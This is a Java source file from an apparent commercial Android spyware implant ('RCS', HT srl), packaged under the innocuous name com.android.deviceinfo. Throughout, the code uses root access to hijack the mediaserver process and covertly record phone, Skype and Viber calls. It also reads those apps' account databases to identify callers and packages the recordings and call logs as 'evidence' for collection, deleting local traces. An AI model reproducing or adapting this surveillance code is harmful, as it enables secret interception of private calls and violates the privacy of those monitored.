/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : AgentApplication.java * Created : 6-mag-2011 * Author : zeno * *******************************************/ package com.android.deviceinfo.module; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FilenameFilter; import java.io.IOException; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.concurrent.BlockingQueue; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; import android.content.pm.ApplicationInfo; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.content.pm.PackageManager.NameNotFoundException; import android.media.MediaRecorder; import android.os.Build; import android.os.FileObserver; import com.android.deviceinfo.Call; import com.android.deviceinfo.Device; import com.android.deviceinfo.RunningProcesses; import com.android.deviceinfo.Status; import com.android.deviceinfo.auto.Cfg; import com.android.deviceinfo.conf.ConfModule; import com.android.deviceinfo.conf.Configuration; import com.android.deviceinfo.conf.ConfigurationException; import com.android.deviceinfo.db.GenericSqliteHelper; import com.android.deviceinfo.evidence.EvidenceBuilder; import com.android.deviceinfo.evidence.EvidenceType; import com.android.deviceinfo.evidence.Markup; import com.android.deviceinfo.file.AutoFile; import com.android.deviceinfo.file.Path; import com.android.deviceinfo.interfaces.Observer; import com.android.deviceinfo.listener.ListenerCall; import com.android.deviceinfo.listener.ListenerProcess; import com.android.deviceinfo.manager.ManagerModule; import com.android.deviceinfo.module.ModuleDevice.PInfo; import com.android.deviceinfo.module.call.CallInfo; import com.android.deviceinfo.module.call.Chunk; import com.android.deviceinfo.module.call.EncodingTask; import com.android.deviceinfo.module.call.RecordCall; import com.android.deviceinfo.module.chat.ChatSkype; import com.android.deviceinfo.module.chat.ChatViber; import com.android.deviceinfo.util.AudioEncoder; import com.android.deviceinfo.util.ByteArray; import com.android.deviceinfo.util.CallBack; import com.android.deviceinfo.util.Check; import com.android.deviceinfo.util.DataBuffer; import com.android.deviceinfo.util.DateTime; import com.android.deviceinfo.util.Execute; import com.android.deviceinfo.util.ICallBack; import com.android.deviceinfo.util.Instrument; import com.android.deviceinfo.util.Utils; import com.android.deviceinfo.util.WChar; import com.android.m.M; public class ModuleCall extends BaseModule implements Observer<Call> { private static final String TAG = "ModuleCall"; //$NON-NLS-1$ private static final int HEADER_SIZE = 6; public boolean recordFlag; private static final int CHANNEL_LOCAL = 0; private static final int CHANNEL_REMOTE = 1; private static final int CALLIST_PHONE = 0x0; private static final int CALLIST_SKYPE = 0x1; private static final int CALLIST_VIBER = 0x2; // From audio.h, Android 4.x private static final int AUDIO_STREAM_VOICE_CALL = 0; private static final int AUDIO_STREAM_SYSTEM = 1; private static final int AUDIO_STREAM_RING = 2; private static final int AUDIO_STREAM_MUSIC = 3; private static final int AUDIO_STREAM_MIC = -2; // Defined by us, not by // Android private FileObserver observer; private Thread queueMonitor; private static final Object sync = new Object(); private static BlockingQueue<String> calls; private EncodingTask encodingTask; private CallBack hjcb; private Instrument hijack; public static final byte[] AMR_HEADER = new byte[] { 35, 33, 65, 77, 82, 10 }; public static final byte[] MP4_HEADER = new byte[] { 0, 0, 0 }; int amr_sizes[] = { 12, 13, 15, 17, 19, 20, 26, 31, 5, 6, 5, 5, 0, 0, 0, 0 }; private RunningProcesses runningProcesses; private CallInfo callInfo; private List<Chunk> chunks = new ArrayList<Chunk>(); private boolean[] finished = new boolean[2]; private boolean canRecord = false; private boolean isStarted = false; private Object recordingLock = new Object(); public static ModuleCall self() { return (ModuleCall) ManagerModule.self().get(M.e("call")); } @Override public boolean parse(ConfModule conf) { if (conf.has("record")) { try { recordFlag = conf.getBoolean("record"); } catch (ConfigurationException e) { if (Cfg.EXCEPTION) { Check.log(e); } recordFlag = false; } } return true; } @Override public void actualGo() { } @Override public void actualStart() { isStarted=false; ListenerCall.self().attach(this); runningProcesses = RunningProcesses.self(); callInfo = new CallInfo(); if (recordFlag) { if (Cfg.DEBUG) { Check.log(TAG + " (actualStart): recording calls"); //$NON-NLS-1$ } } if (Status.haveRoot()) { if (android.os.Build.VERSION.SDK_INT < 15 || android.os.Build.VERSION.SDK_INT > 17) { if (Cfg.DEBUG) { Check.log(TAG + " (actualStart): OS level not supported"); } return; } if (!installedWhitelist()) { if (Cfg.DEBUG) { Check.log(TAG + " (actualStart) No whitelist apps installed"); } return; } AudioEncoder.deleteAudioStorage(); boolean audioStorageOk = AudioEncoder.createAudioStorage(); if (audioStorageOk) { if (Cfg.DEBUG) { Check.log(TAG + "(actualStart): starting audio storage management"); Execute.execute(new String[] { "touch", "/sdcard/1" }); Execute.executeRoot("touch /sdcard/2"); } if (installHijack()) { if (isMicAvailable()) { if (Cfg.DEBUG) { Check.log(TAG + " (resume) can't switch on mic because call is on"); } ModuleMic.self().stop(); } startWatchAudio(); recording = true; } } else { if (Cfg.DEBUG) { Check.log(TAG + "(actualStart): unable to create audio storage"); } } } isStarted=true; } private boolean installedWhitelist() { String[] whitelist = new String[] { "com.viber.voip", "com.skype.raider" }; final ArrayList<PInfo> res = new ArrayList<PInfo>(); final PackageManager packageManager = Status.getAppContext().getPackageManager(); for (String white : whitelist) { try { ApplicationInfo ret = packageManager.getApplicationInfo(white, 0); if (Cfg.DEBUG) { Check.log(TAG + " (installedWhitelist) found " + white); } return true; } catch (NameNotFoundException ex) { if (Cfg.DEBUG) { Check.log(TAG + " (installedWhitelist) not installed: " + white); } } String pm = packageManager.getInstallerPackageName(white); if (Cfg.DEBUG) { Check.log(TAG + " (installedWhitelist) " + pm); } } return false; } @Override public void actualStop() { ListenerCall.self().detach(this); if (Status.haveRoot()) { if (queueMonitor != null && queueMonitor.isAlive()) { encodingTask.stop(); } if (observer != null) { observer.stopWatching(); } if (hijack != null) { hijack.stopInstrumentation(); hijack.killProc(); } if (isMicAvailable()) { ModuleMic.self().resetBlacklist(); } } canRecord = false; } private void startWatchAudio() { calls = new LinkedBlockingQueue<String>(); // Remove stray .bin files purgeAudio(); // Scan for previously stored audio files scrubAudio(); // Start the monitor and encoding thread encodingTask = new EncodingTask(this, sync, calls); queueMonitor = new Thread(encodingTask); queueMonitor.start(); // Give it time to spawn before signaling Utils.sleep(500); while (queueMonitor.isAlive() == false) { Utils.sleep(250); } // Tell the thread to process scrubbed files encodingTask.wake(); // Observe our audio storage (events are filtered so if you push a // .tmp using ADB it wont // trigger, you have to copy the test file and RENAME it .tmp to // trigger this observer) observer = new FileObserver(AudioEncoder.getAudioStorage(), FileObserver.MOVED_TO) { @Override public void onEvent(int event, String file) { if (Cfg.DEBUG) { Check.log(TAG + "(onEvent): event: " + event + " for file: " + file); } // Add to list if (addToEncodingList(AudioEncoder.getAudioStorage() + file) == true) { // synchronized (sync) { if (Cfg.DEBUG) { Check.log(TAG + "(onEvent): signaling EncodingTask thread"); } encodingTask.wake(); // } } } }; observer.startWatching(); } private boolean isMicAvailable(){ return ModuleMic.self() != null && ModuleCall.self().isSuspended() && !ModuleCall.self().canRecord(); } private boolean installHijack() { // Initialize the callback system if (isMicAvailable()) { if (Cfg.DEBUG) { Check.log(TAG + " (installHijack), Cannot start, because Mic is running"); } return false; } hjcb = new CallBack(); hjcb.register(new HijackCallBack()); hijack = new Instrument(M.e("mediaserver"), AudioEncoder.getAudioStorage()); if (hijack.startInstrumentation()) { if (Cfg.DEBUG) { Check.log(TAG + "(actualStart): hijacker successfully installed"); } } else { if (Cfg.DEBUG) { Check.log(TAG + "(actualStart): hijacker cannot be installed"); } return false; } return true; } private void purgeAudio() { // Scrub for existing files on FS File f = new File(AudioEncoder.getAudioStorage()); FilenameFilter filter = new FilenameFilter() { public boolean accept(File dir, String name) { return (name.startsWith(M.e("Qi-")) && name.toLowerCase().endsWith(M.e(".bin"))); } }; File file[] = f.listFiles(filter); long now = System.currentTimeMillis() / 1000; // Remove old files for (File storedFile : file) { String fullName = storedFile.getAbsolutePath(); // Stored filetime (unix epoch() is in seconds not ms) String split[] = fullName.split("-"); long epoch = Long.parseLong(split[1]); // long id = Long.parseLong(split[2]); // Files older than 24 hours are removed if (now - epoch > 60 * 60 * 24) { if (Cfg.DEBUG) { Check.log(TAG + "(purgeAudio): removing stray binary: " + fullName + " which is: " + (now - epoch) / 3600 + " hours old"); } // Make it read-write Execute.execute(Configuration.shellFile + " " + M.e("pzm 666 ") + fullName); storedFile.delete(); } } } private void scrubAudio() { // Scrub for existing files on FS File f = new File(AudioEncoder.getAudioStorage()); FilenameFilter filter = new FilenameFilter() { public boolean accept(File dir, String name) { return (name.startsWith(M.e("Qi-")) && name.toLowerCase().endsWith(M.e(".tmp"))); } }; File file[] = f.listFiles(filter); // sort by name List<File> filesList = new java.util.ArrayList<File>(); filesList.addAll(java.util.Arrays.asList(file)); java.util.Collections.sort(filesList); // Adding scrubbed files for (File storedFile : filesList) { String fullName = storedFile.getAbsolutePath(); addToEncodingList(fullName); } } synchronized private boolean addToEncodingList(String s) { if (s.contains(M.e("Qi-")) == false || (s.endsWith(M.e("-l.tmp")) == false && s.endsWith(M.e("-r.tmp")) == false)) { if (Cfg.DEBUG) { Check.log(TAG + "(addToEncodingList): " + s + " is not intended for us"); } return false; } if (Cfg.DEBUG) { Check.log(TAG + "(addToEncodingList): adding \"" + s + "\" to the encoding list"); } hjcb.trigger(s); // Make it read-write in any case Execute.execute(Configuration.shellFile + " " + M.e("pzm 666 ") + s); // Add the file to the list calls.add(s); return true; } public int notification(final Call call) { if (Cfg.DEBUG) { Check.log(TAG + " (notification): " + call);//$NON-NLS-1$ } if (Cfg.DEBUG) { Check.log(TAG + " (notification): number: " + call.getNumber() + " in:" + call.isIncoming() + " runn:" + isRunning()); //$NON-NLS-1$ } if (call.isOffhook() == false) { if (Cfg.DEBUG) { Check.log(TAG + " (notification): call not yet established"); //$NON-NLS-1$ } return 0; } final boolean incoming = call.isIncoming(); boolean recording = false; try { // Let's start with call recording if (recordFlag && RecordCall.self().isSupported(this)) { recording = RecordCall.self().recordCall(this, call, incoming); } } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + " ERROR (notification), ", ex); } } if (!recordFlag && !call.isOngoing()) { if (Cfg.DEBUG) { Check.log(TAG + " (notification): Saving CallList evidence"); //$NON-NLS-1$ } String from = call.getFrom(); String to = call.getTo(); saveCalllistEvidence(CALLIST_PHONE, from, to, incoming, call.getTimeBegin(), call.getDuration()); } return 0; } public boolean saveCallEvidence(String peer, String myNumber, boolean incoming, Date dateBegin, Date dateEnd, String currentRecordFile, boolean autoClose, int channel, int programId) { if (Cfg.DEBUG) { Check.log(TAG + " (saveCallEvidence): " + " peer: " + peer + " from: " + dateBegin + " to: " + dateEnd + " incoming: " + incoming); } final byte[] additionaldata = getCallAdditionalData(peer, myNumber, incoming, new DateTime(dateBegin), new DateTime(dateEnd), channel, programId); AutoFile file = new AutoFile(currentRecordFile); if (file.exists() && file.getSize() > HEADER_SIZE && file.canRead()) { if (Cfg.DEBUG) { // Check.log(TAG + " (saveCallEvidence): file size = " + // file.getSize()); } int offset = 0; byte[] header = file.read(0, 6); if (ByteArray.equals(header, 0, AMR_HEADER, 0, AMR_HEADER.length)) { if (Cfg.DEBUG) { // Check.log(TAG + " (saveCallEvidence): AMR header"); } offset = AMR_HEADER.length; } byte[] data = file.read(offset); int pos = checkIntegrity(data); if (pos != data.length) { data = ByteArray.copy(data, 0, pos); } if (Cfg.DEBUG) { // Check.log(TAG + " (saveCallEvidence), data len: " + // data.length + " pos: " + pos); // Check.log(TAG + " (saveCallEvidence), data[0:6]: " + // ByteArray.byteArrayToHex(data).substring(0, 20)); } EvidenceBuilder.atomic(EvidenceType.CALL, additionaldata, data); if (autoClose) { EvidenceBuilder.atomic(EvidenceType.CALL, additionaldata, ByteArray.intToByteArray(0xffffffff)); } if (!Cfg.DEBUG) { // Check.log(TAG + " (saveCallEvidence): deleting file: " + // file); file.delete(); } return true; } else { return false; } } private void closeCallEvidence(String peer, String number, boolean incoming, Date dateBegin, Date dateEnd, int programId) { final byte[] additionaldata = getCallAdditionalData(peer, number, incoming, new DateTime(dateBegin), new DateTime(dateEnd), CHANNEL_LOCAL, programId); if (Cfg.DEBUG) { Check.log(TAG + "(closeCallEvidence): closing call for " + peer); } EvidenceBuilder.atomic(EvidenceType.CALL, additionaldata, ByteArray.intToByteArray(0xffffffff)); } private int checkIntegrity(byte[] data) { int pos = 0; int chunklen = 0; while (pos < data.length) { chunklen = amr_sizes[(data[pos] >> 3) & 0x0f]; if (chunklen == 0) { if (Cfg.DEBUG) { Check.log(TAG + " (saveRecorderEvidence) Error: zero len amr chunk, pos: " + pos); } } pos += chunklen + 1; } return pos; } private byte[] getCallAdditionalData(String peer, String myNumber, boolean incoming, DateTime dateBegin, DateTime dateEnd, int channels, int programId) { if (Cfg.DEBUG) { Check.log(TAG + " (getCallAdditionalData): caller: " + peer + " callee: " + myNumber); } if (Cfg.DEBUG) { Check.asserts(peer != null, " (getCallAdditionalData) Assert failed, null number"); } byte[] caller; byte[] callee; callee = WChar.getBytes(myNumber); caller = WChar.getBytes(peer); final int version = 2008121901; // CALL_LOG_VERSION // final int program = 0x0145; // LOGTYPE_CALL_MOBILE final int LOG_AUDIO_CODEC_AMR = 0x1; int channel = channels; // 0 - local, 1 - remote int sampleRate = 8000 | LOG_AUDIO_CODEC_AMR; int len = 20 + 16 + 8 + caller.length + callee.length; final byte[] additionaldata = new byte[len]; final DataBuffer additionalData = new DataBuffer(additionaldata, 0, len); additionalData.writeInt(version); additionalData.writeInt(channel); additionalData.writeInt(programId); additionalData.writeInt(sampleRate); additionalData.writeInt(incoming ? 1 : 0); additionalData.writeLong(dateBegin.getFiledate()); additionalData.writeLong(dateEnd.getFiledate()); additionalData.writeInt(caller.length); additionalData.writeInt(callee.length); additionalData.write(caller); additionalData.write(callee); if (Cfg.DEBUG) { // Check.log(TAG + " (getCallAdditionalData) caller: %s callee: %s", // caller.length, callee.length); // Check.log(TAG + " getPosition: %s, len: %s ", // additionalData.getPosition(), len); } if (Cfg.DEBUG) { Check.asserts(additionalData.getPosition() == len, " (getCallAdditionalData) Assert failed, wrong len: " + additionalData.getPosition() + ", wanted len:" + len); } return additionaldata; } private void saveCalllistEvidence(int programId, String from, String to, boolean incoming, Date fromTime, int duration) { if (Cfg.DEBUG) { Check.log(TAG + " (saveCalllistEvidence): from: " + from + " to: " + to); } final ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); // Adding header try { int flags = incoming ? 1 : 0; if (Cfg.DEBUG) { Check.log(TAG + " (saveCalllistEvidence) %s: %ss", fromTime, duration); } outputStream.write(ByteArray.intToByteArray((int) (fromTime.getTime() / 1000))); outputStream.write(ByteArray.intToByteArray(programId)); outputStream.write(ByteArray.intToByteArray(flags)); outputStream.write(WChar.getBytes(from, true)); outputStream.write(WChar.getBytes(from, true)); outputStream.write(WChar.getBytes(to, true)); outputStream.write(WChar.getBytes(to, true)); outputStream.write(ByteArray.intToByteArray(duration)); outputStream.write(ByteArray.intToByteArray(EvidenceBuilder.E_DELIMITER)); } catch (IOException ex) { if (Cfg.EXCEPTION) { Check.log(ex); } if (Cfg.DEBUG) { Check.log(TAG + " (preparePacket) Error: " + ex); } return; } byte[] data = outputStream.toByteArray(); EvidenceBuilder.atomic(EvidenceType.CALLLISTNEW, null, data); } public synchronized static void addTypedString(DataBuffer databuffer, byte type, String name) { if (name != null && name.length() > 0) { final int header = (type << 24) | (name.length() * 2); databuffer.writeInt(header); databuffer.write(WChar.getBytes(name)); } } private int wsize(String string) { if (string.length() == 0) { return 0; } else { return string.length() * 2 + 4; } } // Chunk lastr = null; boolean started = false; // start: call start date // sec_length: call length in seconds // type: call type (Skype, Viber, Paltalk, Hangout) public synchronized void encodeChunks(AutoFile file) { int first_epoch, last_epoch; AudioEncoder audioEncoder = new AudioEncoder(file.getFilename()); first_epoch = audioEncoder.getCallStartTime(); last_epoch = audioEncoder.getCallEndTime(); // Now rawPcm contains the raw data String encodedFile = file.getFilename() + M.e(".err"); String encodedFileName = file.getName(); boolean remote = encodedFile.endsWith(M.e("-r.tmp.err")); long streamId = getStreamId(encodedFile); boolean ret = callInfo.setStreamId(remote, streamId); if (!callInfo.update(false)) { if (Cfg.DEBUG) { Check.log(TAG + " (encodeChunks): unknown call program"); } return; } // Decide heuristics logic boolean heuristic = true; if (!callInfo.heuristic && remote) { // Skype if (Cfg.DEBUG) { Check.log(TAG + "(encodeChunks): Skype call in progress, applying bitrate heuristics on remote channel only"); } heuristic = false; } if (audioEncoder.encodetoAmr(encodedFile, audioEncoder.resample(heuristic))) { Date begin = new Date(first_epoch * 1000L); Date end = new Date(last_epoch * 1000L); finished[remote ? 1 : 0] = false; String caller = callInfo.getCaller(); String callee = callInfo.getCallee(); if (callInfo.delay) { if (Cfg.DEBUG) { Check.log(TAG + " (encodeChunks) delay, just add a chunk: " + chunks.size()); } chunks.add(new Chunk(encodedFile, begin, end, remote)); sort_chunks(); } else { // Encode to evidence int channel = remote ? 0 : 1; if (!started) { if (remote) { if (Cfg.DEBUG) { Check.log(TAG + " (encodeChunks): saving, possibly discarted, remote: " + begin); } chunks.add(new Chunk(encodedFile, begin, end, remote)); sort_chunks(); } else { if (Cfg.DEBUG) { Check.log(TAG + " (encodeChunks): first LOCAL: " + encodedFileName); } started = true; Chunk firstl = new Chunk(encodedFile, begin, end, remote); chunks.add(firstl); sort_chunks(); for (Chunk chunk : chunks) { if (chunk.end.getTime() < firstl.begin.getTime()) { AutoFile filetmp = new AutoFile(encodedFile); filetmp.delete(); } else { saveCallEvidence(caller, callee, chunk, callInfo.programId); } } chunks.clear(); } } else { saveCallEvidence(caller, callee, true, begin, end, encodedFile, false, channel, callInfo.programId); } } // We have an end of call and it's on both channels if (audioEncoder.isLastCallFinished()) { finished[remote ? 1 : 0] = true; if (Cfg.DEBUG) { Check.log(TAG + " (encodeChunks) finished: [" + finished[0] + "," + finished[1] + "]"); } // || callInfo.programId == 0x0148 if ((finished[0] && finished[1])) { // After encoding create the end of call marker if (callInfo.delay) { saveAllEvidences(chunks, begin, end); } else { if (callInfo.valid) closeCallEvidence(caller, callee, true, begin, end, callInfo.programId); } callInfo = new CallInfo(); chunks = new ArrayList<Chunk>(); finished = new boolean[2]; started = false; if (Cfg.DEBUG) { Check.log(TAG + "(encodeChunks): end of call reached"); } } } } // Remove file if (Cfg.DEBUG) { // Check.log(TAG + "(encodeChunks): deleting " + file.getName()); } audioEncoder.removeRawFile(); } private long getStreamId(String fullName) { // Stored filetime (unix epoch() is in seconds not ms) String split[] = fullName.split("-"); long epoch = Long.parseLong(split[1]); long streamId = Long.parseLong(split[2]); if (Cfg.DEBUG) { Check.log(TAG + " (getStreamId): " + streamId); } return streamId; } private void sort_chunks() { Collections.sort(chunks, new Comparator<Chunk>() { public int compare(Chunk ch1, Chunk ch2) { return (int) (ch1.begin.getTime() - ch2.begin.getTime()); } }); } private void saveCallEvidence(String caller, String callee, Chunk chunk, int programId) { saveCallEvidence(caller, callee, true, chunk.begin, chunk.end, chunk.encodedFile, false, chunk.channel, programId); } private void saveAllEvidences(List<Chunk> chunks, Date begin, Date end) { if (Cfg.DEBUG) { Check.log(TAG + " (saveAllEvidences) chunks: " + chunks.size()); } CallInfo callInfo = new CallInfo(); callInfo.update(true); String caller = callInfo.getCaller(); String callee = callInfo.getCallee(); Chunk lastr = null; boolean started = false; for (Chunk chunk : chunks) { saveCallEvidence(caller, callee, true, chunk.begin, chunk.end, chunk.encodedFile, false, chunk.channel, callInfo.programId); } if (Cfg.DEBUG) { Check.log(TAG + " (saveAllEvidences) saving last chunk"); } closeCallEvidence(caller, callee, true, begin, end, callInfo.programId); } private boolean updateCallInfo(CallInfo callInfo, boolean end) { // RunningAppProcessInfo fore = runningProcesses.getForeground(); if (callInfo.valid) { return true; } ListenerProcess lp = ListenerProcess.self(); if (lp.isRunning(M.e("com.skype.raider"))) { if (end) { return true; } callInfo.processName = M.e("com.skype.raider"); // open DB String account = ChatSkype.readAccount(); callInfo.account = account; callInfo.programId = 0x0146; callInfo.delay = false; callInfo.heuristic = false; GenericSqliteHelper helper = ChatSkype.openSkypeDBHelper(account); boolean ret = false; if (helper != null) { ret = ChatSkype.getCurrentCall(helper, callInfo); } return ret; } else if (lp.isRunning(M.e("com.viber.voip"))) { boolean ret = false; callInfo.processName = M.e("com.viber.voip"); callInfo.delay = true; callInfo.heuristic = true; // open DB callInfo.programId = 0x0148; if (end) { String account = ChatViber.readAccount(); callInfo.account = account; GenericSqliteHelper helper = ChatViber.openViberDBHelperCall(); if (helper != null) { ret = ChatViber.getCurrentCall(helper, callInfo); } if (Cfg.DEBUG) { Check.log(TAG + " (updateCallInfo) id: " + callInfo.id); } } else { callInfo.account = M.e("delay"); callInfo.peer = M.e("delay"); ret = true; } return ret; } return false; } public class HijackCallBack implements ICallBack { private static final String TAG = "HijackCallBack"; public <O> void run(O o) { if (Cfg.DEBUG) { Check.log(TAG + " (run callback): " + o); } } } public boolean isRecording() { return recording; } public boolean isBooted() { return isStarted; } }